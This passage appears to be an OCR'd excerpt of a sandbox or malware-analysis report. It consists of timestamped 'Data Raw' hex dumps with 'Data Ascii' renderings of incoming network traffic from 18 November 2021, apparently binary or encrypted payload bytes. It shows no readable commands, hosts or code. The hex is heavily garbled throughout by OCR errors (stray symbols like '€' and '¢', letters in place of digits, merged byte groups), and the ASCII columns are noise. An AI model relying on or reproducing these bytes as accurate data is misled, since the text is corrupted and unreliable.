dd 90 €9 cf d8 df 97 1f 29 58 3e e8 ¢9 2d bb b2 63 e5 19 11 04 41 93 6a 2c 23 8b 5b 01 bb 39 71 81 18 ba 25 d3 f8 37 2f
f2 61 89 11 db 99 6f 09 17 7f ec 26 4a 10 ef d2 2a c1 57 f9 4f 6b 99 cf e7 41 06 21 dO 7f 89 da c1 0d 6b ac b2 e5 a2 78 42
18 18 09 da 2a 01 f1 50 2d 2b 29 4b d9 ae cc 9b c2 fe 1c ae 20 9d 9a f3 fc 23 64 c3 cc 21 ee b5 d1 ae af c0 52 c6 17 a5 47
17 f8 ee 29 d9 33 0f 76 5f 07 22 da db fe
Data Ascii: 8[LB1Ix2J{,!2.$pIMO, S} f=]n9/mM:w:*&)r)X>-cAj,#[99%7/a0&I*WOKAIkxB*P-+)K #d!IRG)3v_"

2021-11-18 09:30:32 UTC 1695 IN Data Raw: b4 16 17 45 88 €9 53 98 ¢8 12 75 b9 05 e0 8a 83 0a 43 2c 41 e9 e9 43 04 Oa b9 62 88 89 24 3c 61 85 60 51 1d
bd df 66 89 03 Oe 80 19 16 4b 40 77 16 59 6d d9 c0 72 d2 fe ff 81 e3 84 12 f5 39 fb 51 01 89 2b f5 94 d2 08 65 3a 16 0Of 58
3374 16 49 be 6d eb ca 2e 27 b9 39 2a 8c 11 01 03 2e fe 79 2e 2f f2 7e 5f eb 3d fb 6e dd 99 6b 88 b1 ff 72 31 3b 36 8f f2
16 06 89 d6 88 6e 29 64 ce 80 35 ce 59 4f 64 ce ea 34 be 86 4f 5a 5f cf e8 8e a4 be f8 32 a5 fb f7 2c 28 03 a4 5e f6 ef 71
cc c7 8¢ 2d 3e ¢5 21 fe 29 ad 3b b6 7f 67 4e ef 44 fe bb 62 b6 f3 55 cc 82 04 37 63 a7 ¢4 1c bd 3c d3 f1 01 6d 34 94 e6 5b
d2 9b Oc 7d 46 e7 bf 70 fa 7f f1 01 a5 2b 35 31 db 09 dO a6 56 13 96 ee b8 6a b3 66 13 ac 21 7 e8 76 el c3 28 63 2e ch
06 dd ee 68 91 Ob b4 52 af b6 01 4f 9d 22 2e
Data Ascii: ESUC,ACb$<a’ QfK@wYmr9Q+e:X3tlm.'9*.y./~_=nkrl;6n)d5YO0d40Z_2,("g->!);gNDbU7c<m4[}Fp+51Vjf
Iv(c.hRO".

2021-11-18 09:30:32 UTC 1711 IN Data Raw: 04 5d ce af f7 75 4e ec fd c9 6 {7 14 bb 9d 6¢ 17 d6 ca 12 ca 29 f5 7a 62 6b 6 6¢ 7 96 b4 e2 33 1a 9a 18 55
98 31 ¢33 13 36 ab 01 cd 44 a7 44 98 14 31 de b3 14 a8 4d bf 14 54 2f 21 1a d5 19 bf e7 fa f1 4e 49 75 64 e8 9d 12 06 7
€0 98 30 89 4a c2 ee d8 85 29 59 cf 13 8f 89 d4 ca 5b ce a2 78 eb 3f bd a2 d2 fe b2 32 82 ee 21 df fd d3 b7 49 71 e3 Ob
21 da d7 34 46 c9 15 ef d7 51 48 6b 2b cb ff ¢5 47 92 c7 fb 29 6¢ 61 e6 4a ce 5f c1 d2 26 cb 31 d9 d2 51 6d a5 5¢ db a6 c1
49 75 9c 29 46 87 6b 31 7f 45 80 2f 74 83 25 5d ¢2 19 22 ¢6 ¢3 80 5e 05 71 0d 66 13 53 47 6b 28 d7 ec af 54 eb 71 d6 e4
d3c21a3909fb 75 1a 12 8a ae a6 95 9¢c d3 12 db b9 fb 2c ae 33 7d 3e el 7f 29 68 7e 34 15 fa c5 cb aa c2 6f c6 7d 94
99 95 d1 ad 49 29 72 ff ba e6 dc Oe 51 05 78 c7
Data Ascii: JuNI)zbklI3U16DDIMT/!NIud0J)Y[x?2!1q!4FQHk+G)lal_&1Qm\lu)Fk1E/t%]" qfSGk(Tq9u,3}>)h~40})rQx
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 1727 IN Data Raw: 09 5e ef 55 16 4a d3 8c bb c9 b0 2a f7 bb 29 c2 46 27 b2 9f f5 d3 1d 4c 3a 34 12 c0 9c 20 ba f2 f7 89 44 59 cd
60 c7 31 16 29 4e db fb 36 da 68 9b 26 4f 9 f3 77 c¢5 76 25 d8 07 2a 30 ba 67 b3 76 12 ca b6 01 78 a9 23 eb 52 56 c2 6¢
72 45 7b 2f fc 1f 9 09 89 7a 7d db f4 9e fa 92 f2 aa f3 35 c2 07 ff e6 d5 1f b0 ad b9 2e 2b ea 5f be cf 2d 31 1a 96 d9 09 90
9d ff 74 5¢c 7e 7a 71 a8 52 5d b3 22 cc eb 39 al 2d 36 8f 09 56 €8 cc a0 c9 be 99 4b 52 b3 d1 88 20 el eb 57 1e 21 4a 6¢
86 a3 31 ec eb 39 54 2a bf 68 2a 71 41 e2 89 Oe c3 1a 7e c9 4e 40 3f 39 1f bl 05 ac 4f 34 28 Oe 6¢ e3 5f 96 dc 41 c7 8c 4f
3f 29 a0 2a Oe a3 92 a5 17 4a 74 b0 ba 3c 68 33 9e 9e 54 5e 1f ce 93 01 7d 49 34 57 92 b6 21 34 ec 91 1a 2d c4 Oe 60 20
6f 97 05 6d d0 5d 1b 8a 00 88 75 Oc €9 66 Oe
Data Ascii: "UJ*)F'L:4 DY 1)N6h&Owv%*0gvx#RVIrE{/z}5.+_-1t\~zqR]"9-6 VKR W!JI19T*h*gA~N@?904(_AO?)*J
t<h3T HAW!4-" om]uf

2021-11-18 09:30:32 UTC 1743 IN Data Raw: 33 92 19 31 09 0f dO d5 f1 38 19 2b 1d b8 3a fe 29 4a 04 91 00 49 29 8 31 16 0d 54 28 5a 2d a6 c4 53 c6 a7
0126 34 7b cf 2c 0d 73 77 15 e7 20 1e 58 e1 58 79 69 3a 19 da ef 84 Ob 80 01 c3 af 92 57 a0 5f fc 47 48 3b 40 c2 b4 7e
7298 df 2c €3 40 ac 52 5f 7e al c2 25 28 5¢ 84 69 dd 71 4d 9 02 30 09 ¢3 5d c6 55 5a b9 32 d9 37 e6 2b 48 29 d7 Ob e8
31 ff 18 9e 2b 30 99 d1 bf 27 cb 77 6¢ Of ec f1 b1 fb 92 €9 c4 05 a7 1a 1b 29 31 5e 92 c3 42 1b 16 97 ec 30 fd 60 88 4e 9d
57 b9 c2 31 04 82 36 df cc 6b 95 72 c9 4c f7 8e 92 04 8b 6 5f 0a ee 25 c5 ba 19 78 3a 3f 3a ba 23 6f 31 b6 3e 16 {7 ¢8 5d
12 fb 32 09 c2 51 89 a5 92 24 02 b2 89 da e6 Oc ee f0 98 b1 85 cc 14 f3 fa cb e3 9a 07 6¢ 9d 47 eb 3b cb dc ba bl bb 0a
59 e2 a7 e8 55 c4 02 9f 55 06 92 10 53 ba eb 4c 7
Data Ascii: 318+:)J1)1T(Z-S&4{,sw XXyi:W_GH;@~r,@R_~%(\igM0]UZ27+H)1+0'wl)1*BO°NW16krL_%x:?:#01>]2Q%
IG;YUUSL

2021-11-18 09:30:32 UTC 1759 IN Data Raw: 7d a5 9f 22 52 0d de 25 35 18 a7 3e 89 79 ce 48 db 0a a5 be 82 b3 e8 58 cc bf 30 39 21 d1 95 56 51 49 75 85
f3 e8 e8 d5 d7 a3 96 7d 94 8b 42 31 cb 71 6¢ 03 09 f2 81 20 8 4f a4 6f bf 78 95 95 1c 25 fc €3 9¢ b2 64 3a 50 95 4f b1 60
76 77 5b b9 4a d3 65 24 b8 40 04 73 08 01 d6 c9 46 05 29 ec b0 2f ce 9a d9 41 33 f6 2c c2 c2 f2 be 2f 6a 25 53 47 13 1c
65 4e aa 98 c9 89 5b f8 al eb 3f al be 22 a9 da 8e dc b8 c9 5d ab cd 5¢ ce e8 51 a6 6d b2 56 c6 73 ae 94 3a f2 4b b3 3b
2f 08 46 15 25 ee 28 53 f8 a6 8c af ce 6a 9f c4 cc 55 ea 4f 2a f8 0a 8b cb fh 34 2d dc da 72 f7 6e 95 b5 29 cf 7f Ob 4a f8 68
96 fe 52 f9 6e 03 21 cf 03 30 Ob 44 d3 a0 8f e6 6b 35 29 ¢7 48 11 0 23 8¢ 31 36 c7 4e 40 e3 4c ¢5 31 f2d9 90 d1 f1 7f a6
aa 4e 24 4d fb 24 8b fc 3a c8 c3 49 ff 89 6e
Data Ascii: }"R%5>yHX09!VQIu}B1gl Oox%d:PO vw[Je$@sF)/A3,/j%SGeN[?"\QmVs:K;/F%(SjUO*4-rn)JhRn!0DK5)
H#16N@LIN$MS$:In

2021-11-18 09:30:32 UTC 1775 IN Data Raw: 8 4a b8 d0 25 8b 38 7f 6f 35 92 02 b3 b2 81 e7 87 22 91 2a d8 1a cb bf 5e €5 46 d2 14 60 18 1d 48 d5 c6 97
03 4a d1 b4 92 66 cd 3e 96 c8 01 2c 44 36 ba 64 a4 3e be 31 41 f3 34 dc cd 60 84 60 46 39 6b 54 9e 93 96 d7 16 f7 aa 9d
€6 6b ec 5¢ 13 31 ce fb 9e 76 0b 13 01 7 fb bc 16 eb b3 74 25 25 57 65 84 ad f9 64 25 d7 e2 17 5b ce 0a ¢3 50 10 95 2d
0d 2d cf fb €3 15 ¢7 3e 29 f0 33 19 21 5a e8 36 fa 5¢ 22 d7 8¢ 64 28 1c 9c b7 €6 24 06 24 8d c9 57 1b 3d f0 ff 66 01 9f 74
b5 c9 55 73 ac a7 ff 96 ¢7 5f ca c2 20 f9 53 ¢3 93 06 al 6f 89 3e f7 28 c5 24 13 bf b2 0d c4 2b 06 7 9a 4d ed 93 e8 8d c2
33 06 bf af 4d aa 20 5b a5 19 5¢ cb 38 87 b4 cc bf 09 77 d9 bd ce ed b9 b2 0b 21 f9 b2 ba 7c 1b 4f af d1 a7 06 5d 33 05 27
4e bd c5 fa ca b9 4e 8c 34 c6 45 98 2f ¢4 29 9c
Data Ascii: J%805"*"F HJf>,D6d>1A4""FOKTK\1vt%%Wed%[P-->)3!Z6\"d($$W=ftUs_ So>($+M3M [\8w!|O]3'NN4E/)

2021-11-18 09:30:32 UTC 1791 IN Data Raw: 28 ¢7 01 97 db d3 44 30 ee a9 €9 f4 ea bc 11 fc 06 el c¢2 34 7c 33 b5 56 d5 d8 01 08 85 ae 4f €9 ff 04 3c 94 a6
50 02 c1 72 0b 85 46 7f 59 9d 67 b9 Ob 1f 9b 2d de 49 72 7d cc 31 7a 2b 91 ce 64 Ob a2 b7 de 84 1c cb 2e eb b6 ba 17 31
08 6d 2b e8 83 ce 94 ae ea 66 27 74 fa 62 5f f4 7d 5¢ 5b ¢9 d5 5b 84 79 d3 c0 b3 ba b9 e6 43 20 19 69 be 18 7f 3a 31 dd
ed 22 27 5f e5 22 90 33 02 f1 6¢ 88 dd 7d b2 10 5f f1 3d c4 10 ef 9f 2d 78 4b 07 fa 8e f3 48 d6 Ob 6f 05 03 7d e8 bf 10 18
18 3b 22 7d 19 5b 76 c4 14 35 8b c8 f6 5d 63 0d 3c b4 e8 1e d8 07 a5 8b 79 9d c0 f3 4a 95 8 ca 02 01 e2 Ob e5 9e 91 c8
20 d7 2a 00 89 43 el f5 58 2d af 3e 3d eb a6 3b 44 80 7b 8f fa ff 6¢ d6 fe 03 d3 52 fd d1 59 Oc 00 79 4a d5 20 3a 84 f2 03
2d a5 1c 5e 84 20 4c e0 e7 80 ee 4e 98 cb 00 36
Data Ascii: (D04|3VO<PrFYg-Ir}1z+d.1m+f'tb_J\[[yC i:1™_"3l}_=-xKHo};"}[v5]c<yd *CX->=;D{IRYYyJ :-* LN6

2021-11-18 09:30:32 UTC 1807 IN Data Raw: bf f1 a3 eb 75 b6 87 bf d9 9a e9 ff 3a 5b f5 61 1d 09 3b 38 7a €9 30 0d dO Oa f3 fc 50 b1 01 37 aa 39 61 32 39
de d7 41 47 9c f1 89 e2 5d 67 0d 7a e2 c6 d7 4f ca 20 b2 99 47 48 b2 27 €5 80 1c c3 2d db 7c c0 c3 64 66 d8 4b 18 b8 23
b4 ef 3c 90 3a bf 51 65 52 5f 5e 5d 71 e7 40 4a 96 30 07 00 77 2c 61 Oe ee ba 51 09 0f 99 19 c4 6d a0 8f f4 6a 70 35 00 a5
63 €9 a3 95 64 9e 32 00 88 db Oe a4 b8 dc 79 1e fc d5 7b €0 00 d9 d2 97 2b 4c b6 09 bd 00 7c bl 7e 07 2d b8 €7 91 03
1d bf 90 64 10 b7 b0 f2 20 b0 00 6a 48 71 b9 f3 de 41 be 02 84 7d d4 da 1a eb 60 33 6d 51 79 b5 00 f4 c¢7 85 d3 83 56 98
6¢ 00 13 c0 a8 6b 64 7a f9 62 00 fd ec c9 65 8a 4f 5¢ 01 07 14 d9 6¢ 06 63 10 3d Of fa f5 00 0d 08 8d c8 20 6e 3b 5e 00 10
69 4c e4 41 60 d5 72 0f 71 67 a2 d1 37 00 ce 47 d4
Data Ascii: u:[a;8z0P79a29AG]gz0O GH'-|dfK#<:QeR_"]q@JOw,aQmjp5cd2y{+L|~-d jJHgA} 3mQyVlkdzbeO\lc= n;*
iLA'rqg7G

2021-11-18 09:30:32 UTC 1823 IN Data Raw: c9 00 Ob 9f 83 e8 04 €9 24 a9 d3 92 0f 5e 07 04 bd 28 ab 12 6b a3 45 87 88 19 Oe 10 89 aa 45 4c 08 78 23 01
c4 ff 80 b4 f9 d1 5b 2a ca 87 10 Oc 22 48 ce 13 3b ab ee 8e ba 2b 29 9b e2 30 cd 34 11 ed 1b f4 b1 30 db 00 al 39 e7 92
db 20 34 79 79 0d e6 67 9f 03 af d5 66 9c 80 db Oc 5b 02 6a 47 94 89 04 13 55 f7 b8 1d 00 e3 56 fb 2a 5d c8 e5 7f 20 79
954822 77 5d ac 10 a2 dd 21 b3 9f 86 d4 02 62 b1 2c 4d 2a e6 a7 f0 46 fc 03 85 63 18 6f 15 8¢ 6a de f8 82 a0 19 08 19
db 3a cafb 21 97 89 f9 9c fe cb 88 e3 f6 42 c3 a0 01 72 a8 02 01 a4 3f 3b 82 cb d1 66 1f 44 56 9c 60 d6 b8 74 63 84 b0 25
c9 48 e8 0f 2b 90 44 01 6a 48 15 30 01 al bf 50 ec 96 ef af 48 5d 90 79 0d a5 ec 75 4f 02 b8 b4 a0 72 c1 2c 24 29 5 4c
00 ca e3 9e a4 55 e2 e0 98 eb b2 34 Oc 9c 2f a3 e9 f6
Data Ascii: $"(KEELX#[*'H;+)0409 4yygf[jGUV*] yH"w]!b,M*Fcoj:!Br?;fDV tc%H-+DjHOPH]yuOr,$)L U4/

2021-11-18 09:30:32 UTC 1839 IN Data Raw: e8 8a b0 bb dd 56 01 77 b6 d5 44 57 e7 a0 dO 30 09 1d fa 34 15 01 fc 61 67 €9 ee 68 18 75 16 ae 58 0d a8 79
82 d6 be 1b df d9 80 02 dO c2 fe ff 82 11 54 1 ff 90 b4 db 6b 30 c6 2f 1c ca 48 12 be 18 04 f6 32 bf bf 05 ee 7a 5d bf b0 6d
dd 88 fa 35 27 80 af ff 96 99 72 ec 9d f3 a4 70 93 cf el c2 15 00 93 el dd d1 d9 da bd 95 9e 97 32 ff 8e 45 4e 22 5 33 14
713187 02 28 4f 1b 66 51 ab e4 92 ea 70 22 71 16 f6 5f 58 f2 ae c4 33 b9 af 3b 39 27 0f 67 €6 91 24 2d 33 d7 17 79 01
2e b7 68 aa 56 7c Oc b2 0a 57 1c d7 97 14 2d ee f2 27 1e 7b 7f 6a 4f de 6¢ 12 12 eb ce 4b 4f ca b0 89 3a dd 51 79 96 10
2e a7 23 04 59 Ob 0a 09 5a 89 10 5f f3 2e 49 09 30 5b f8 eb df c7 22 b0 26 f3 cb 60 4b 04 f8 1b b8 f1 97 5e 3e 5e 9f 57 1d
0f a5 c6 fd 4b 39 b8 c1 e4 {7 4f 4a bb 29 bl
Data Ascii: VWDWO04aghuXyTk0/H2z]m5'rp2EN"3q1(OfQp“q_X3;9'g$-3y.hV|W-{jOIKO:Qy.#YZ_.10["& K">*WK90J)

2021-11-18 09:30:32 UTC 1855 IN Data Raw: 17 b2 19 cb 07 75 34 2c f4 ac 51 49 83 2b b5 el 2a b2 7a 9b 28 d1 38 49 7e ad 86 e5 aa f2 af d7 ee 6b 67 16
89 ee bb 7d cb 6b f7 09 5a f1 ¢3 2b f8 01 b0 4e bf 63 52 31 cc 85 09 Oa ba 8f 04 2d 06 fe 2a 54 bd 7c df e0 01 33 ff e0 bb
96 2d 71 3a eb 3a 94 ff 71 dc 6b 5e 18 87 55 bd 51 22 57 14 75 5b 71 09 5b 56 d3 db eb 29 d8 5d 5b bb 69 7f a2 98 86 69
89 98 d7 4d e8 13 4d a6 58 4e ba 2c bb 2e 00 6d f9 2d 0d 2c 18 df 3f 77 48 2e 29 7d f2 ac 34 16 d7 a8 6f 34 c6 3e 13 08
ae 90 d2 68 ¢8 8d 30 63 79 e5 56 be 21 12 a6 af Oa ea a7 84 4b 89 e4 7e df 13 5e 2d b5 2f a9 e4 4e ab 79 al 7f ac c4 b3
75 dc 46 60 ea 2e 0d e2 9c 08 32 3d 6b 0f f3 51 25 bf 4c fa 5e ee d3 99 05 b8 6e 8a 80 fc b7 62 8d 95 40 b2 b2 {5 20 4a f0
12 35 a2 2d a8 ee 8d d8 6f 3a a3 27 12 f7 56 00 68
Data Ascii: u4,Ql+*z(81~kg}kZ+NcR1-*T|3-q::gk*"UQ"Wu[g[V)][iiIMMXN,.m-,?wH.)}404>h0cyV!K~*-/NyuF".2=kQ%L""nb@
J5-0:'Vh
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 1871 IN Data Raw: 07 12 65 3a d5 ff 61 6e 3 7c dc bd 60 86 4c da 6b 1c d2 5e fa 01 26 5f 34 53 74 28 7b 8c d3 73 e2 6e 14 23 ad
6b df Oc dd b9 06 be d5 00 16 37 26 07 e2 a4 62 14 b5 00 9b e5 ac c¢3 0a 3e 51 74 09 3b 37 06 77 db b0 84 17 0f 01 d1 84
d6 77 3c 44 7c 2a 0b el 8f 70 d5 bf e0 94 19 a5 54 13 18 32 a9 87 fb 8b 30 6e f6 f5 4e 0d 11 c9 ac 02 5b 34 60 e2 2e c2
Oc 55 df 55 d3 al 5b c5 ef c4 28 6a 1e 13 ef ¢5 db 88 11 be 18 al 9a 44 5a le 22 83 90 da 30 d5 10 2c 23 8c d8 50 d9 fO
29 4b 21 ea 33 7d ad c8 2b de f5 be 6¢ 00 d7 2c 78 84 72 f9 1e 58 71 b4 e7 84 48 1e 87 67 90 f8 a6 1c 18 5f ad 23 bc fa
d4 05 58 5 01 8c 34 a3 ec f0 2f e0 6d 4a 31 9c 15 18 33 4d 91 28 38 04 b9 64 8f 39 fa a3 79 8e 21 1a 28 77 f8 79 01 58
95 4c 8 63 93 4e 38 e6 4e b2 7b 2 30 75 fc 28 5a f5
Data Ascii: e:an| Lk"&_4St({sn#k7&b>Qt;7ww<D|*pT20nN[4".UU[(jDZ"0,#P)K!3}+|,xrXqHg_#X4/mJI13M(8d9y!(w
yXLcN8N{Ou(z

2021-11-18 09:30:32 UTC 1887 IN Data Raw: bf 60 01 ¢3 34 06 5e bf 3d 29 cb 1c 83 08 41 1c 14 2b fe 71 be 29 d3 a0 22 2b 18 €9 5c 65 74 28 7d 12 21 2f 6a
aa 08 db eb 0d cd 87 da 20 76 c6 6a b1 44 dO 07 a2 73 f9 4c 24 03 c6 bc 5¢ c6 2a be 0d 87 e0 12 4e 6¢ 14 {7 f0 8a f5 8¢
28 d2 c3 46 b9 2f bb 9e 83 e3 ea c9 04 28 b3 f9 6¢ 4e 88 a2 el 02 59 02 80 83 fb 34 55 d2 ff c6 48 e2 cc 34 00 70 a5 c4 f5
1c 18 55 b0 32 79 4a 3e d2 68 7c 92 98 ce 10 73 c5 5e ¢8 80 51 6¢ a4 f4 b8 74 15 86 34 €9 c8 80 e3 9 44 4e cf f4 b6 10
9d fc ff 04 66 06 d7 ba ab a2 e7 9e 93 cb 0f 40 4a 8e 36 6b 42 0f b9 93 ba b2 7c 09 b0 51 05 df 59 7c 8d b4 92 9c¢ 8c 06 93
7b 80 1a 54 74 d5 4d 33 76 9a 20 34 b1 8d 94 40 06 36 cd Oc 1a 6¢ b0 50 2¢ 80 3c ec 77 83 f2 09 1d a7 92 30 df c0 3a 22
bb 00 c1 f1 e3 1a 2a b8 6¢ 6d Oc 5 ce 8e 29 24
Data Ascii: '4"=)A+q)"+\et(}!/j viDSL$\*NI(F/(INY4UH4pU2yJ>h|s"QIt4ADNf@J6KB|QY [{TtM3v 4@6IP,<w0:"*Im)$

2021-11-18 09:30:32 UTC 1903 IN Data Raw: 45 ec 19 f1 52 a7 af 5e 48 19 55 €9 25 14 4e d2 34 20 ca 71 00 5b d8 21 ad e0 3d c7 ee fd 3b ef 21 6e 1c c4 30
b7 30 07 7d 85 2e 66 dc f3 10 87 2f 1e 97 62 12 59 f3 6¢ 84 83 2f ad ff 5¢c 6e 42 9c 88 €8 a0 95 ae 16 b3 50 fd 05 ce 53 98
00 Oc 6a f6 68 ef 5f 2d 31 5e dc e7 70 20 db cO fe 67 9d b5 0d f5 a8 df 12 22 33 3c 32 4c b9 bc be 90 7a 16 03 2b 50 58 bb
a8 61 18 f8 8a 53 06 9a ac 4d 72 11 f9 fa 74 32 Ob 15 a5 a0 59 a2 13 96 e8 bf 05 98 94 19 81 b0 7d 66 41 4a el 30 8c fO
fa f4 98 3b 08 a5 19 0d dd 83 fb 22 8e da f4 44 6c 60 86 39 98 e2 58 Oa 1a 2d d1 e5 28 05 d4 5a 7b 85 48 c0 82 30 e0 58
54 ae b4 4b 86 4e 4d bc e4 c0 72 65 3a 39 11 10 3d 6b 37 90 ac 0a 0d 6d 52 b8 89 f8 13 f1 08 2a 32 7c e5 62 d4 71 29 4d
40 d8 77 6f c1 58 66 78 Oc d1 30 cf 62 4f 9c 8c
Data Ascii: ER*"HU%N4 q[!=;!n00}.f/bYIAnBPSjh_-1"p g"3<2Lz+PXaSMrt2Y}fAJO;"DI 9X-(Z{HOXTKNMre:9=k7mR
*2|bg)M@woXfx0bO

2021-11-18 09:30:32 UTC 1919 IN Data Raw: 22 80 47 85 5d d4 65 2f de 0d f1 1c 7a d8 be 5e a6 94 f6 6f 16 73 f1 5f e5 57 17 9d c1 46 10 2b 6a d9 10 6b 75
d1 e0 2848 12 1c 3d 29 af f2 1d d3 fb c8 a5 9f 18 44 d8 64 17 57 bf Ob Ob 23 c5 1b 7f bc bc d9 a6 1a 6¢ af 3b 76 Oe 5e 95
d1 03 d4 95 62 07 7d db 2a 64 87 Ob 5¢ 77 6f 83 42 41 b4 c0 89 7d d5 99 df 38 12 7b 03 ae 1d f5 50 fc 80 f6 89 41 f2 07
7d a5 e9 72 33 1a 1f 94 Oc 80 17 93 ca d7 33 5¢ 02 37 c4 af 73 88 b3 df 5d fa 89 81 81 e9 42 9f dd 76 47 d4 77 e8 d3 1d
4f e8 e7 98 ff 30 f7 6f Of ae 73 9f 4c 6a bd Oc 19 1e 75 18 7 09 dO 78 f1 Of 79 3e 1f 45 c2 fa 67 29 d1 c2 03 29 08 54 c1 83
4f 06 fb 57 41 2e 40 f9 69 6e c0 ca f2 27 05 cb 7 1e 20 66 ef 5a a3 cd 9c 4e 95 04 93 Ob 1d a5 Oc 7f 66 2a 44 19 f8 9e 8a
2d d6 ed ad 5f 3c 89 4f 28 04 fc 26 f1 e9
Data Ascii: "G]e/z"os_WF+jku(H=)DdW#l;v b}*d\woBA}8{PA}r33\7s]BvGwO00sLjuxy>EQ)) TOWA.@in' f{ZNf*D-_<O(&

2021-11-18 09:30:32 UTC 1935 IN Data Raw: b4 4e d3 00 9d c5 3c 58 35 aa 4b ab 75 5e 1f 86 29 91 6d dd 03 de 95 82 15 46 7a a6 b8 31 4d bc f2 2b 24 26
ba 00 82 a5 al 89 c7 99 fc ff 09 84 4d 24 74 75 dO b7 4f de e8 44 a2 9e 19 3a da 02 58 d9 80 a0 4a 97 44 89 4f c4 b8 5¢
353819 03 78 ¢6 39 02 e0 19 a5 4b 9f fc 56 89 bd 12 7f a3 37 f7 18 01 88 1e 44 65 57 42 e0 47 46 45 3a 97 07 60 08 b9
f8 65 39 cf 12 12 e0 de ff f5 de f8 18 21 30 45 ce f9 7d 53 50 9d 53 b3 4f c0 b8 el 2e c2 76 1d 48 35 8a 49 5b 5a f5 43 bf
c8 b4 c6 9e 4e c9 af 8c Oe €9 24 43 7e 4d 9f c1 8e 82 5f 20 53 68 9c 54 fb 24 5d 5b a7 62 87 c7 89 c6 ff a8 64 08 34 Oc la
18 Oc 0f 24 65 20 b2 05 9e 41 88 ea 91 c9 26 c8 e0 f2 ec 18 e6 84 6f 19 d7 95 b7 d8 b6 01 e3 58 df 4f 08 ef 80 32 c2 1e
d7 10 4a f1 34 09 02 ec 09 ea 8f 83 ba 2c ca 09 68
Data Ascii: N<X5Ku")mFz1M+$&M$tuOD:XIDO\58x9IKV7DeWBGFE: €9!0E}SPSO.VH5I[ZCN$C~M_ ShT$][bd4$e
A&0X02J4,h

2021-11-18 09:30:32 UTC 1951 IN Data Raw: c6 40 92 06 40 5f ea 07 8a ac 64 e0 c0 91 66 ee 54 8c 18 07 31 3c 84 5e 19 a3 f2 16 3e bf f9 64 24 2¢ 53 Oe 85
09 04 44 b5 e4 1c 32 5e 34 b0 5e e5 2f f0 e4 da d6 45 ec 60 6f df 4e 6b a7 ac 29 63 fc 8d 7c 24 14 d0 5d 95 15 5f ea 59 84
00 d7 ca 78 82 71 05 a7 37 7e 9b 18 f0 2a e0 b7 6¢ 12 f7 48 8e e3 3a Oc €9 dc 2c b2 32 92 72 17 70 98 ca {7 8c 04 3a 16
3c 20 02 1e 68 03 20 15 Ob 49 €9 37 c8 4c 6d 63 88 da 01 d8 17 95 39 d2 3d 44 7a 85 d6 85 08 be a3 c4 d6 61 18 51 50
2b d0 24 ee 10 2b b7 bc bd b7 7e 27 f9 2c d3 05 51 5b e4 64 73 ae a3 1d 58 29 4b ee 9e 78 4b e8 ae f2 51 75 56 44 fa {7
53 ab 53 5f 3b f3 9e a9 3e ab 39 f9 2e af 68 fa dd 4c 99 d3 27 25 7e 27 44 Ob d1 2d a7 49 00 a2 d9 28 58 94 ab 09 9f 4c
08 20 f5 55 €9 41 44 7c f1 4f bd af de 04 17 cd fe Ob
Data Ascii: @@_dfT1<">d$,SD2/ME oNK)c|$]_Yxq7~*IH:,2rp:< h I7Lmc9=DzaQP+$+~',Q[dsX)KxKQUVDSS_;>9.h
L'%~'D-I(XL UAD|O

2021-11-18 09:30:32 UTC 1967 IN Data Raw: 52 d6 d4 27 62 67 d5 e7 64 02 03 70 f8 ff 09 69 d4 e7 3f f0 54 6e 13 43 4a 42 ab 88 3f f8 0a 9b €0 c6 37 f9 3¢
01 f4 90 74 c8 89 76 6f e4 fe e7 1f 88 44 07 81 70 Of 84 f6 32 60 4e €9 37 51 79 5a b0 82 af 2a f5 {7 33 fa Of 80 3e 7a 07
€0 db cf b9 10 2e el e3 10 6d €5 41 06 2f f3 7 7b €6 98 7d d0 30 98 cc a0 16 8f 81 63 50 88 €9 0d 2d 57 5f 5e 8d e4 10 fd
47 12 8b 3¢ b8 d0 93 a6 64 27 fd 59 34 3e 89 82 34 b5 8e b2 8b 24 5d €5 5a e4 5¢ ea 2d ¢8 3a da 52 93 ab 2 2f a5 ae el
71 3f €6 33 d7 ee dd 6d 7b fd 8d Ob 62 8 2d 57 19 43 8b 6 57 d9 43 5a 75 56 6d 7a 10 22 €9 42 a9 a9 51 3f bc 44 81 32
d6 d9 28 3a ca 67 4a f1 03 3f bc 0a f2 51 76 43 64 52 80 9 d1 ff 1c 00 7 d2 4a c1 ea 06 81 2 70 bf 27 8¢ 03 ¢2 73 d7 79
5¢ e7 9 2d a5 d5 08 2f 02 71 50 c1 3 d8 43
Data Ascii: R'bgdpi?TnCJIB?7>tvoDp2 N7QyZ*3>z. mA/{J0CP-W_AG<d'Y4>4$]7\-:R/q?3m{b-WCWCZuVmz"BQ?D2(:gJ?
QVCARIp'sy\-/qPC

2021-11-18 09:30:32 UTC 1983 IN Data Raw: cd 5a 24 e3 08 11 c5 21 25 e8 f6 78 49 ec f0 82 cc 56 d8 25 56 80 d8 87 72 52 0a 9c 17 31 39 c1 08 a4 a9 20
b3 3b ba 98 04 78 40 eb b9 48 aa 21 20 ee c8 20 a4 8c 4b c5 8d 1c 68 24 40 d0 ce 41 ac 02 dc fd 7d 17 78 2f Ob c0 f6 00
8428 74 ca ec 00 ed 28 70 02 74 3f 86 89 21 €3 20 €2 62 41 40 b6 €0 41 12 e0 fa 33 74 51 a0 aa b1 8e 5d d7 e0 44 2c ea
80 ae 25 4b 1c f4 c4 b4 a8 fc 3f 21 99 c0 3e 18 8a bb 19 f7 9f 04 fd 76 db 72 40 92 dO 5f 70 a4 97 72 24 ed 7e cb 30 5b 70
60 12 73 81 bc c0 6b 6f 60 11 32 b2 13 2b dc 94 72 2b f4 43 Oc a3 24 a0 53 10 af 2c ed 5¢ 04 08 ef 29 49 60 18 Of f9 17 12
5f 2d bc c0 a2 38 25 8 fa 39 b4 7c 54 1f f1 ae 00 1e Oe 74 3a eb 91 bd c0 98 a9 45 95 79 1c 32 48 2b 53 ec 22 30 94 b4
10 30 cb 55 dc e0 2d bd ¢4 10 ce a8 32 bc b0 c2 cc
Data Ascii: Z$!%xIV%VrR19 ;x@H! Kh$@A}x/(t(pt?! bA@A3tQ]D,%K?!>vr@_pr$~0[p sko 2+r+C$S,\)I"_-8%9|Tt
:Ey2H+S"00U-2

2021-11-18 09:30:32 UTC 1999 IN Data Raw: 0d 19 ab 46 2f a9 16 61 76 50 04 84 11 36 b4 4c 7e 00 a5 el 7b 32 3c 6¢ fb 16 00 96 fe 88 99 97 ef 6d c6 26 7c
